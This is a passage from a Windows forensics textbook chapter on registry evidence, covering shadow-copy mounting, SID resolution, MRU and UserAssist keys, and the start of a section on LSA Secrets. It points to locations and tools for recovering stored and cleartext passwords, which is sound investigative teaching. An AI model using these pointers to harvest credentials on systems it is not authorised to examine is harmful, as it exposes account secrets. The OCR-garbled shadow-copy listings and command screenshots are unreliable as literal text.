Shadow Copy Uolume: “N\?“GLOBALROOT“Device“HarddiskUolumeShadowCopyl

Originating Machine: WIN-PHG6SEALIFGU

Service Machine: WIN-PH65SAL3F6U

Provider: ‘Microsoft Software Shadow Copy provider 1.8°

Type: ClientAccessihlelriters

fAttributes: Persistent. Client—accessible., No auto release. Differentia
1. Auto recovered

Contents of shadow copy set ID: {d464B@daf-f3c4-4474-80e5-02cBed497e69>
Contained 1 cshadow copies at creation time: 9-23-2011 5:38:43 PH
Shadow Copy ID: {284c24ba-aPch—4bf4-blBea-3367h65Sh3bfh>

Original Uolume: <(C:> \\?\Uolumel{fd991ch?-dA3B-11eB—%af?-8Bbebfbeb?633

Shadow Copy Uolume: “N?N\GLOBALROOT“Device“HarddiskVolumeShadowCopy2

Originating Machine: WMF-WIN?.WNF.com

Service Machine: WNF-WIN7.UNF.com

Provider: *Microsoft Software Shadow Copy provider 1.8°

Type: ClientAccessiblelriters

Attributes: Persistent,. Client—accessible. No auto release,. Differentia
1. Auto recovered

Contents of shadow copy set ID: {7564dc7a-1c69-4dccl-a25f-979344e3ed23>
Contained 1 shadow copies at creation time: 9/23-2011 5:48:18 PM
Shadow Copy ID: {f5B2edbf-1lce4—4497-hdSe—cel135eh53d39>
Original Volume: (C:>N\T\Uolume{fd?91ch?-d@A30-11eB—?af?-0B6e6fbeb7632N
Shadow Copy Uolume: “N?\GLOBALROOT“Device“HarddiskVolumeShadowCGopy3
Originating Machine: WNF-WIN?7.WNF.com
Service Machine: WNF-WIN?7_UNF._.com
Provider: *Microsoft Software Shadow Copy provider 1.8°
Type: ClientAccessibleWriters
Attributes: Persistent. Client-accessible. Ho auto release. Differentia
1, Auto recovered

Contents of shadow copy set ID: {88@d2df8-2d95-442d-8h21-3785d16F2410>
Contained 1 shadow copies at creation time: 9,23.2811 6:88:23 PH
Shadow Copy ID: {1d7chBad4-daab—4314-8df4-7bB2436%e487>

Original Volume: (C:>\\?\Wolume{fd?91ch?-dA30-11eP—Paf?-006e6f6e69632N

Shadow Copy Uolume: 7 \GLOBALROOT“Device“HarddiskVolumeShadowCopy4d

Originating Machine: WNF-UIN7.WNF.com

Service Machine: WNF-WIN?_UNF.con

Provider: *Microsoft Software Shadow Copy provider 1.8°

Type: ClientAccessibleWriters

Attributes: Persistent. Client-accessible. Mo auto release. Differentia
1, Auto recovered

Once you have the listing of the available shadows, you need to be able to access them. You
can do this by creating a symbolic link to the snapshot or mounting it directly as a network
share. In order to create a symbolic link, you need to know where you want the link to point
(your destination directory) and what the link target is. In our case, we made the destination
directory in the root of the C:\ drive in a folder called VSS_Test. Our target was the second
snapshot in the list of three. That snapshot contained a folder on the desktop that was called
Malware to Rule the World. The target was the whole pathway to the shadow copy volume,
as shown next:

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\
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In order to make the symbolic link using that volume snapshot, issue the mk1ink command,
as listed next and shown in Figure 9.31. If the command is successful, you will see a message
similar to the one shown in Figure 9.32.

mkTink /d c:\VSS_Test \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\

FIGURE 9.31
Creating a symbolic
link between our
volume shadow
copy of interest and
our destination
directory

FIGURE 9.32

The creation of the
symbolic link was
successful.

Administrator; C\Windows\s

Microsoft Windows [Uersion 6.1.76811
Copyright (c> 28B8? Microsoft Corporation. All rights reserved.

C:~Users FinnPorter>mnklink ~d c: USS_Test \\?\GLOBRLROOT\Deuice\HarddiskUulumeSh;
adowCopySs_

Microsoft Windows [Uersion 6.1.76811
Copyright (c> 2889 Microsoft Corporation. All rights reserved.

Cl:i\Ugers;FinnPurter)mklink sd c:xUES_Test “A?NGLOBALROOT“\Device~HarddiskUolumeSh m
adowCopyss

symbolic link created for c:sUSS_Test {{===3> S“\?“GLOBALROOT“Device“HarddiskUolu
neShadowGopy5s

C:\Users FinnPorter>

Once the symbolic link was created, we navigated to it using Windows Explorer and drilled
down to the desktop of our user of interest to see if our Malware to Rule the World folder
was present (Figure 9.33).

A few things to note about volume shadow copies:

Shadow copy is disabled by default in Server 2008.

Shadow copies, when mounted, are read-only.

* o o

Shadow copies can be imaged and each one would represent the entire volume at one point.
Shadow copies can be mounted as network shares using the net share command.

Shadow copies do not store the entire contents of the volume in each snapshot; they only

store what has changed since the last snapshot (a differential).
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TIP

You can image the mounted volume shadow copies, and they will show up in your forensic tools
as logical volumes. If you were to mount each volume shadow copy to a different mount point and
then image each one, your data volume would enormous, depending on the original drive size:

Total Volume = (Drive Size * Number of Shadow Copies) + Drive Size

Now that you've walked through the hard way to mount and use volume shadow copies,
we want to show you one example of a third-party tool that makes things much easier. The tool
is called ShadowExplorer (www. shadowexplorer.com), and in essence, after you install it, you
just run it and it presents you with all the snapshots that it sees, in a drop-down box by date
(Figure 9.34). Simply selecting the date of interest changes the filesystem content that is visible in
the explorer window, and you can navigate through the snapshot filesystem as if it were actually
live (Figure 9.35). This tool, and tools like it, makes volume shadow copy forensics much easier
and faster to perform. Of note is that this software needs to be run on a live computer or a virtu-
ally mounted drive—using applications such as FTK Imager or Mount Image Pro—it cannot be
run against a static forensic image.
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Exploring Security ldentifiers

Each user, group, and machine in a Windows environment are assigned a security identifier.
The SID is a unique identifier in that no two SIDs are the same. Windows grants or denies access
and privileges to system objects based on access control lists (ACLs), which in turn use the

SID as a means of identifying users, groups, and machines, since each has its own unique SID
(Figure 9.36).

We have previously referred to SIDs and, in this chapter, we have made specific reference to
identifying a user’s restore point NTUSER . DAT file by the user’s SID number. We'll discuss how
that is done in this section, but first let’s examine an SID and demystify that obscure set of let-
ters and numbers. Figure 9.24 shows an SID number in the context of a restore point NTUSER . DAT
file on an XP system. Although we’ll eventually resolve the SID to its username, let’s first break
down the SID into its component parts.
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The SID number you see in Figure 9.36 is S-1-5-21-220523388-688789844-1801674531-
1003. As you will see, each part of this number has a meaning or purpose. The first part is the
first and only letter in the string. The S simply means that the string that follows is an SID. The
second part is the revision number, which is currently always 1 (bolded herein: S-1-5-21-
220523388-688789844-1801674531-1003). The third segment is the authority level, which
holds a value from 0 to 5. This value describes the authority that issued the SID, as listed in
Table 9.4.
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TABLE 9.4: Security Identifier Authority Levels
SID VALUE ISSUED BY
0 NULL SID authority
1 World SID authority
2 Local SID authority
3 Creator SID authority
4 Notused
5 Windows NT security subsystem SID authority

In the present example, it is a 5 (bolded herein: S-1-5-21-220523388-688789844-1801674531-
1003). The fourth part is the longest segment in the example and is the domain or local com-
puter identifier (bolded herein: S-1-5-21-220523388-688789844-1801674531-1003). This
string uniquely identifies the domain or local computer. This string can be, however, as short as
one field for the well-known SIDs. Microsoft’s website contains a comprehensive listing of these
commonly known SIDs (http://support.microsoft.com/kb/243330). The fifth and final part
is the relative identifier (RID), which is a unique number within the domain or local computer.
In the example it is 1003 (bolded herein: S-1-5-21-220523388-688789844-1801674531-1003).
RIDs that are less than 1000 are reserved for special accounts and groups. For example, the RID
500 is reserved for the local computer’s Administrator account, whereas the RID 501 is used for
the built-in Guest account. RIDs can also be used to specify a group, such as 512, which is the
RID for the global group of domain administrators

You can resolve the SID to its user in several ways. If the user is locally authenticated (non-
domain logon), the SID-to-user resolution is carried out in the local SAM (Security Account
Manager). The SAM file is a security database of hashed passwords and usernames that contains
keys and values that are part of the HKLM registry hive. If the user is logged on to a domain, the
SID-to-user resolution occurs in the Active Directory of the domain controller.

Examining the Recycle Bin

A good place to resolve a local SID to a user is the Recycle Bin, since those entries are also listed
by SID. Each user on a system who has used the Recycle Bin is provided with a folder named
the same as their SID, and under this folder are their “deleted” folders and files. The user is the
owner of this folder. By determining a named SID folder’s owner, you can resolve an SID to a
user. In EnCase v6, by placing the focus in the left pane on the Recycle Bin, you force the named
SID folder into the table view pane. For any named SID folder, place the focus in the table view
pane on the column named Permissions. Doing so makes available the details view in the bot-
tom pane. Figure 9.37 shows the details of the permissions for a named SID folder. Thus, the
SID in the example, S-1-5-21-220523388-688789844-1801674531-1003, is owned by user
FinnPorter. Any Windows XP restore point registry file using that SID in its new filename
belongs to that owner. In Encase v7, the process is substantially similar. When you navigate to
the Recycle Bin and select the folder with the same name as the SID you are interested in, you
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can select the Permissions tab in the view pane, and the username associated with that SID will
be parsed and displayed. This data is shown for comparison in Figure 9.38.
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FTK 3 is also able to perform this SID-to-user parsing, outside the Registry Viewer applica-
tion. In order to perform this function, navigate to the Recycle Bin folder and select the folder
with the SID of interest. Create a new column settings template using the Column Settings
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Manager. Select the Owner Name, Owner SID, and Full Path column options and give the tem-
plate a name. Click Apply and Close, and your new column settings will appear in the view

pane. Selecting the Recycle Bin folder for the SID that you are interested in will show that item’s
owner, as shown in Figure 9.39.
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NTUSER .DAT OWNER CHANGES WHEN STORED AS SNAPSHOT

You might be thinking that you could go to the renamed NTUSER. DAT registry hive file in the XP
restore points and determine its user by its owner using the same method. This would be good
logic; however, when the NTUSER . DAT file is renamed and placed in a restore point, its owner is
no longer the user to whom it is associated. You will need to resolve the SID to its user elsewhere.

Examining the ProfileList Registry Key

There is another location in the registry by which you can resolve SIDs to users that will work for
both locally logged-on users and those logged on using a domain account. The ProfilelList reg-
istry key provides a listing of subkeys, each named after SIDs on the system. Here’s the full path:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfilelList

If a user has interactively logged on to the machine, using a local or domain account, there
will be a subkey with that user’s SID for its name. This subkey is created at the time of the first
interactive logon (making it a great place to identify accounts that have interactively logged onto
a computer). When you locate the SID in question, there will be a value for that subkey named
ProfileImagePath. The string data for this value will list the path to the user’s profile, part of
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which will be the username. Figure 9.40 shows the same SID in the example being resolved to its
owner in the previously named registry key.
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Using the ProfileList key you can resolve SIDs to users even when they are domain users.
Figure 9.41 shows the profile list for a machine that is displaying SIDs from logged-on users
from two different domains and a local machine SID. If you look carefully at the segment of the
SID that identifies the domain or local machine, you'll easily see three sets of identifiers.
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INVESTIGATING USERACTIVITY

Investigating User Activity

The user’s NTUSER. DAT file is loaded with data indicative of the user’s preferences and activity.
Just as the SOFTWARE hive file listed software installed on the computer, the Software key of

the NTUSER . DAT file contains keys for software installed on the computer. Just as those keys in
the local machine SOFTWARE hive file contain entries for software long since deleted, the user’s
Software key likewise contains entries of installed software. In addition, the user’s Software
key contains data specific to the user. This data can be in the form of searches, usernames, pass-
words, commands, programs run, or strings entered, and the list goes on. We'll cover some of
the more common and significant data that is specific to the user. As you go through this list,
keep in mind that you can always go to the restore points and capture this data at specific times,
which can be a tremendously valuable source of often-overlooked evidence.

Examining the PSSP and IntelliForms Keys

Beginning with Internet Explorer version 7, Microsoft stopped storing autocomplete informa-
tion in the registry under the Protected Storage Service Provider (PSSP) key that we all used to
drool over. By examining the PSSP key, we used to be able to find data that had been entered
into forms on websites. It was common to find names, addresses, shipping tracking numbers,
credit card numbers, and search queries—complete with time and date stamps—in this key. But
alas, this source of low-hanging fruit is no more. The key still exists to this day, but all the juicy
information is now stored in a completely different location. This new storage location is under
the individual user’s key. Here’s the full path:

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\

There are generally two folders located below the Intel1iForms key, Storagel and
Storage2. Storagel holds Internet Explorer-saved form data and Storage2 holds the password
data. The encryption process used for these data sets requires several more steps to decode, in
part because it uses the URL of the website as part of its encryption of the form data. There are
many applications that can decode this information including AccessData’s Password Recovery
Toolkit (PRTK) and NirSoft Freeware’s IE PassView. A sample output from IE PassView is shown
in Figure 9.42.

FIGURE 9.42
NirSoft’s IE Pass-
View sample output
from IE 8 Auto-
Complete password
storage

& IE PassView
File Edit View Options Help

|EREezXE A

tole- ==

Entry Name

2% hitps://accounts.google.com/servicelogin

§|Mlps:.ffwww.gongle.(umfd((Uun'ksfsemcelngin AutoComplete Registry finnporter2010  [3@fLOV3R  Very Strong

Type Stored In
AutoComplete Registry

User Name Password  Password Strength
finnporter2010 13@fLOV3R Very Strong

4

m »

2 item(s), 1 Selected

HirSoft Freeware. httpdiwww.nirsoft.net

295



296 |CHAPTER9 REGISTRY EVIDENCE

Examining the MRU Key

You will see the keys named MRU frequently occurring in the registry. MRU stands for most recently
used, and this key is used to store filenames, extensions, commands, and so on that have been
recently used by the user. The data is typically stored in order to assist the user by populating a
menu with data the user would likely want to reuse. For example, the Run command appears as
a choice on the Start menu. If you select Run, you are taken to the Run menu. The Open drop-
down list contains the recently used commands, as shown in Figure 9.43. The items on that list
are stored in an MRU key in the registry.

FIGURE 9.43 Run B[=]
The Open drop-

= Type the name of a program, folder, document, or

down list contains

& Internet resource, and Windows will open it for you.

the recently used Open: | (N -
commands, which mn;-it
cm
are stored in the C\INDOWS explorer. exe
. . I J1__Cancel [T Browse...
registryinan
MRU key.

The registry key in which this data is stored is:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

and is shown in Figure 9.44. In the value pane (right), you can see the various commands listed
as values a, b, ¢, and so on. The MRUL1 st value describes the order as a string of those lettered
value names, with the most recent being listed first and the oldest last. You'll find that advanced
users make use of the Run command often, and that includes intruders when using their com-
puter or a victim’s computer. If you are looking at this key with a tool that parses and displays
the last-written time for this key, you'll also know when the most recent command in this list

was run.

FIGURE 9.44 ‘& Registry Editor
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If you look carefully at Figure 9.45 you notice that the Map Network Drive MRU key appears
a few entries before the RunMRU key. This key contains a listing of the most recently mapped
networked drives. This can be important in a network-intrusion investigation because you'll
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want to know what other machines were connected to the compromised host. Those machines
are usually next in line for a compromise, because a trusted connection already exists. This key
works much the same way as the previous MRU key. The various mapped drives are listed as
values named a, b, ¢, d, and so on, as shown in Figure 945. The MRUL1 st key describes the order,
with the most recent being first in the list and the oldest being last. Once again, if you are view-
ing this data with a tool that displays the last-written time stamp for this key, you'll know when
the most recent drive in the list was mapped. Don’t be alarmed if you don’t see the key in your
registry—it only gets created after the first drive gets mapped. If the drive is later disconnected,
the registry key will remain, as will the MRUT1 st contents.

FIGURE 9.45 '# Registry Editor =[]
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USE CAUTION WHEN GENERALIZING ABOUT THE BEHAVIOR OF MRUs

There are many MRU lists, and the manner in which lists are stored and maintained varies
between keys and can vary between versions of the software creating them. Therefore be cau-
tious about assuming that other keys behave as does the Map Network Drive MRU key. You
should always test and verify using the version of software in question.

It is a good exercise to search your registry for keys containing MRU, since this convention
is used repeatedly throughout the registry. The number of times this key is used is beyond
description. Some common MRUs are encountered with mainstream applications, and some little-
known ones are associated with less-common software. If you are striking out on leads, some-
times searching for MRU can open new avenues for inquiries. Table 9.5 lists some of the MRU keys
that are useful in network investigations.

REMEMBER TO CHECK THOSE RESTORE POINTS AND VOLUME SHADOW COPIES!

Just areminder to think of examining the registry files located in a volume shadow copy or in the
restore point registry hive files within the context of examining MRUs! You can often pinpoint a
time frame for certain types of activities using this method.
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TABLE 9.5: MRU Keys of Interest to Network-Intrusion Investigators

KEY DESCRIPTION

HKCU\Software\Microsoft\Windows\CurrentVersion\ Lists most-recently-used commandsin
Explorer\RunMRU the Run window by user.

HKCU\Software\Microsoft\Windows\CurrentVersion\ Lists most-recently-mapped network

Explorer\Map Network Drive MRU drives by user.
HKCU\Printers\Settings\Wizard\ConnectMRU Lists most-recently-used networked
printers by user.

HKCU\Software\Microsoft\Windows\CurrentVersion\ LastVisitedMRU lists programsand the

Explorer\ComD1g32 files opened by them.

OpenSaveMRU Lists files opened and saved, grouped by
extension; there is a key named for each
filein the list.

HKCU\Software\Microsoft\Search Assistant\ACMru Contains two subkeys that store searches

carried out in Windows Explorer, which
isuseful in determining if the user/
intruder was searching his local or net-
worked drives for files/directories or
words/phrases, with the former stored in
key 5603 and the latterinkey 5604.

Examining the RecentDocs Key
Somewhat similar to the fourth entry in Table 9.5 is the RecentDocs key. Here’s the full path:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

There are, again, keys named for each extension in the list of recent documents. Each key can
hold up to the last 10 documents opened using that key’s extension. If the filename is uncom-
mon for a Windows user and was related to the intrusion, this key could provide some inter-
esting information. If, for example, the intruder placed a . tar archive file on the system and
opened it, it could get an entry in the tar registry key and would likely be the only one there.
The last-written time stamp for this key could help your investigation. If you are examining the
intruder’s computer, this key could hold a wealth of information concerning his activities.

Examining the TypedURLs Key

When the user types a URL into the Address field in Internet Explorer, this data is stored in

the registry so as to populate the listing shown in Figure 9.46. You can find this data at the key
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs. The value will be
named from urII to urI25, with the most recent search being urII. The value data will contain
a string denoting the URL typed in. As with the Yahoo search, when a new search is added, it
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will start out as urII and advance one number (urI2, and so on) as subsequent searches are
added. After a URL reaches urI25, it will be deleted.

FIGURE 9.46
Typed URLs appear
asadrop-down
menu under the
Address box. These
values are stored in
the registry.
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Examining the UserAssist Key
The UserAssist key contains significant information about the user’s activity. This data is very
obscure since the value names are stored in ROT-13 encoding, making it appear meaningless
at first glance. ROT-13 encoding means that the character set is rotated 13 characters. In this
manner, letter 4 is the letter 1, letter b is the letter o, letter c is the letter p, and so forth. In the
book EnCase Computer Forensics: The Official EnCE: EnCase Certified Examiner Study Guide, Third
Edition by Steven Anson (Sybex, 2011), there is extensive coverage in Chapter 10 on the function
of the key as the backdrop for registry research methodology. This research covers unpublished
registry tweaks that force this key to write in plain text instead of ROT-13 encoding. In addi-
tion, you'll find that certain registry keys can be deleted by the user and that those keys will be
automatically regenerated by the system, effectively providing the user with a clean slate. By
using ProcMon to watch the data in a plaintext format and also starting anew, the function of
the UserAssist key becomes very clear. We won't attempt to redo that work here; rather we’ll
summarize its function.

You can find the UserAssist key in the location shown here:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
Depending on what operating system you are looking at, you will find two GUID values under

the UserAssist key:

Windows XP, Vista, Server 2008

¢ 75048700-EF1F-11D0-9888-006097DEACF9
¢ 5E6AB780-7743-11CF-A12B-00AA004AE837

Windows 7

& CEBFF5CD-ACE2-4F4F-9178-9926F41749EA
& F4E57C4B-2036-45F0-A9AB-443BCFE33D9F

Under each of these GUIDs is a key named Count. Between the obscure GUID key names and
the ROT-13-encoded data, this information was clearly intended to not be obvious.

In essence, the UserAssist key stores information that is used to populate the area above
All Programs in the Start menu, as shown in Figure 9.47. It is important to distinguish between
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the User Assist area, which is dynamic, and the area above it, which is pinned or otherwise user
controlled. The User Assist area is marked with faint horizontal lines at its top and bottom. Like
all other data intended to assist the user, it must be stored somewhere, and the usual storage
location is the registry. Unlike other data we’ve been examining, this data is in the form of icons,
or links to recently used programs that were activated through the Windows GUI. The icons
that are populated into the User Assist area are based on both recency and frequency. Therefore,
data is stored for each activity in the form of its last use (time stamp) and the number of times it
has been used (counter stored as an integer value). The magic formula Microsoft uses is not pub-
lished, but it appears to be some combination of the number of times it was used and when it
was last used. As examiners and investigators, our concern is not with the formula but with the
data it uses, which includes the last-time-used time stamp and the frequency counter data.

FIGURE 9.47
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The Windows 7 version of the UserAssist data is displayed significantly differently from the
way it is displayed for all operating systems that came before it. Thus, in this next section, we
will cover pre-Windows 7 data representations and then follow up with the Windows 7 format.
When a program is run for the first time, its counter will not start with 1 but rather with 6.
This would appear to be some form of concession to a weighted averaging formula, but that is
pure speculation. Its function, however, is crystal clear and consistent. Before you start, to get an
accurate count, you'll need to subtract 5 from the counter. With that as a background, let’s see
how an entry appears for the first, second, and third times that it is run. Then you'll see clearly
how it works. The program we’ll run three times is a time stamp decoder that we obtained from
http://www.digital-detective.co.uk/freetools/decode.asp/. On our system it is located
at C:\Program Files\Decode\DCode.exe. Before you run it at all, we'll look at the registry and
note its absence. Also, for clarity, we've reset our registry to a fresh state and forced it to record
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in plain text. Once we’ve shown how it functions, we’ll cover how it looks in ROT-13 encoding,
which is how you will find it in all but the rarest of times.

Figure 9.48 shows the UserAssist keys in a fresh state. Since that point, we’ve run only
explorer.exe, which is necessary for our desktop to display and for normal Windows function-
ality. In the right pane, notice that the value name takes on the path of the executable. The data
is interesting in that it consists of at least three parts. The data is 16 bytes in length. The last 8
bytes consist of a Windows 64-bit time stamp that records when the program was last run. The
preceding 4 bytes are a 32-bit integer that is a counter that records the number of times the pro-
gram has been run; note that this number starts with 6 the first time a program is run. The first
4 bytes of the string are unknown at this time. There are some special values for which no time
stamp is stored and some for which no counter sequences are stored. They are few and obvious
when you see them. Note that there is no appearance of DCode . exe at this point.
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When we run the program in the example for the first time, the run path appears, as does
a data entry. Figure 9.49 shows the appearance of the run path C:\Program Files\Decode\
DCode. exe. You should notice that when it is run for the first time, its counter will register a 6.
Its time stamp, if it were decoded, would reflect the time it was launched. The other values that
appear relate to the link file used and the fact that it was launched via a user shortcut on the
desktop. These values also have counters and time stamps.
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When we run the program a second time, the counter advances to 7, as shown in Figure 9.50.
Finally, Figure 9.51 shows the program being run for the third and final time in the example.
Its counter has advanced to 8. By now you know that you need to subtract 5 from the count
recorded by the counter to arrive at a true count of the number of times a program was
launched.
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As mentioned, we forced the registry to store the values in plain text and not in ROT-13
encoding so you could see how this key functions. To force the example back to reality (ROT-13
storage), we removed the registry hack that was forcing plaintext storage, refreshed the registry
again, and ran DCode. exe three more times. The result, shown in Figure 9.52, shows how the
values look when encoded in ROT-13.
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Visually, ROT-13 is difficult to read, although it requires hardly any effort to decode.
Several ROT-13 decoders are available. AccessData’s Registry Viewer does a nice job of decod-
ing both ROT-13 and the time-last-launched time stamp. Figure 9.53 shows Registry Viewer’s
display of the program run path for the example. In the lower-left pane, the value highlighted in
the right pane is decoded, along with the time stamp. Using this tool, you can scroll down the
list of values in the right pane and watch the decoded value appear in the lower-left pane. When
you find programs that are significant to your case, you can mark them for inclusion in Registry
Viewer’s reporting feature. Figure 9.54 shows the program winampv3[1] .exe being launched.
This program, clearly not WinAmp, fully compromised the host machine on which it was run.
Its presence in the UserAssist key was a significant finding in reconstructing the compromise.
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WHO COMPROMISED THE MACHINE?

For those wondering how this compromise occurred, here’s the quick story. An intruder made
a connection to the compromised host using a vulnerability in Real VNC. Fortunately, the user
observed the VNC connection during which the intruder, using a script, downloaded winampv3.
exe into the temporary Internet files, hence picking up the [1] in the resulting filename. The user
was successful in keeping the intruder off the computer through a series of reboots and then halting
the VNC service. The intruder was not able to launch winampv3[1] . exe. The user called the IT
shop, and the responding person made a folder, naming it after himself and placing winampv3[1] .
exe into the new folder. One minute after the folder was created, winampv3[1] . exe was executed
from that path, a path that included the IT person’s name. If you note also the counter, you will see
that it shows 8, meaning the program was launched not once, not twice, but three times. It was
the UserAssist key that provided the solution as much as any other piece of evidence. Who fully

compromised this machine? Responding IT personnel!
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CHAPTER9 REGISTRY EVIDENCE

‘WiNDows 7 USEeR AssIST DATA

The Windows 7 UserAssist key performs the same overall function as that of the pre-Win-
dows 7 versions; however, the artifacts that are found in Windows 7 versions are significantly
different. While the UserAssist keys have the same main artifacts, such as execution count
and time stamps, the data presentation and content deserve some additional attention. First, the
GUID labels in the UserAssist key (Figure 9.48) are different. Second, UEME strings, which
used to represent the type of User Assist value that was being shown, are all but eliminated.
Third, in many cases the command-line paths that were present before Windows 7 have been
replaced with path GUIDs. As shown in Figure 9.51, when the Decode . exe application was run
under Windows XP, the registry recorded its full path with a UEME string prefix as shown here:

UEME_RUNPATH:C:\Program Files\Decode\Decode.exe

In Windows 7, the UEME_RUNPATH string is missing, as is the full path to the executable. What
Windows 7 does leave us is a path GUID. If the path is not one of the well-recognized GUIDs,
you are left with asking your friend Google, searching the registry looking for other common-
alities, or performing some testing to determine exactly where the executable would have been
run from.

Finally, the byte count in each program-execution entry of the UserAssist key is significantly
greater than the 16 bytes that were found in earlier versions of Windows. With Windows 7, these
values now contain 72 bytes of data. Since Microsoft has not released the documentation that
tells us what every byte range does, we tested and found that several of the artifacts from earlier
versions of the key remain. The two items that are often of most interest to us as examiners and
investigators are the execution count and the time stamp associated with the last execution. The
execution count is located in bytes 4-7 and represents a 32-bit integer, as it did in earlier ver-
sions. Starting with Windows 7, this counter value starts at 1 as opposed to 5 in earlier versions.
Figure 9.55 and Figure 9.56 show the AccessData Registry Viewer and highlight the Windows 7
UserAssist key after executing Dcode . exe for the first and second times, respectively. The time
stamp still records the time of the last execution of the program but is now stored in bytes 60—-67
as a Windows 64-bit time stamp, as it was in earlier versions.
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The purpose of the other bytes found in this section is up for debate and research. Didier
Stevens (http://blog.didierstevens.com), who has conducted a plethora of research into
the UserAssist key, suggests that some of this data (bytes 8-11) represents the total number
of times the application receives focus and others (bytes 12-15) represent the amount of time
that an application window has focus or the running time of the application. These suggestions
appear to be consistent with the results of our testing.

Extracting LSA Secrets

We can only imagine the chatter on the hacker network on the day that NT was released and the
hackers discovered a registry key named SECURITY\Policy\Secrets. Its name alone makes it
an attractive target. We could hope that perhaps Microsoft placed it there by that name, filling it
with irrelevant data just to create a diversion for the hackers of the world. Such was hardly the
case, because its contents were just what the name suggested. What’s more, this same key and
content exist today in the most current versions of Windows.

LSA stands for Local Security Authority. The security hive key is part of the registry, although
you can't access this key through regedit. The previously mentioned key (SECURITY\PoTicy\
Secrets) contains security information regarding various service accounts and other accounts
necessary for the operation of Windows and is stored in this location by the service control
manager. Windows must start many services when it boots, and every service or process on the
system must run within some security context. Since services run without being overtly acti-
vated by a logged-in user, the system stores the credentials for service accounts so that they can
automatically be launched under the appropriate account. It is, therefore, the job of LSA Secrets
to store these security credentials. LSA Secrets are encrypted and stored on disk in the regis-
try, but Windows decrypts them upon boot and stores them in cleartext in the memory space
allocated to the LSA process. If you can locate and access that memory space, you can read the
cleartext security credentials that are stored in RAM.
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FINDING CLEARTEXT PASSWORDS IN THE SWAP FILE

Would you now be surprised why it is that cleartext passwords are often found in the swap file
andthe hiberfil.sys file? The swap file is used to store RAM contents when RAM space is full.
Thus RAM data, complete with cleartext passwords, is often written to the swabp file, resulting
in cleartext passwords being written to disk. When the computer is placed in hibernate mode,
the entire contents of RAM are written to the hiberfil. sys file. Would that file be yet another
source of plaintext passwords? Enough said?

Many tools can extract this information from the LSA memory space, and all require that
they be run within the context of administrator. Because the administrator owns the machine,
so to speak, there is theoreticall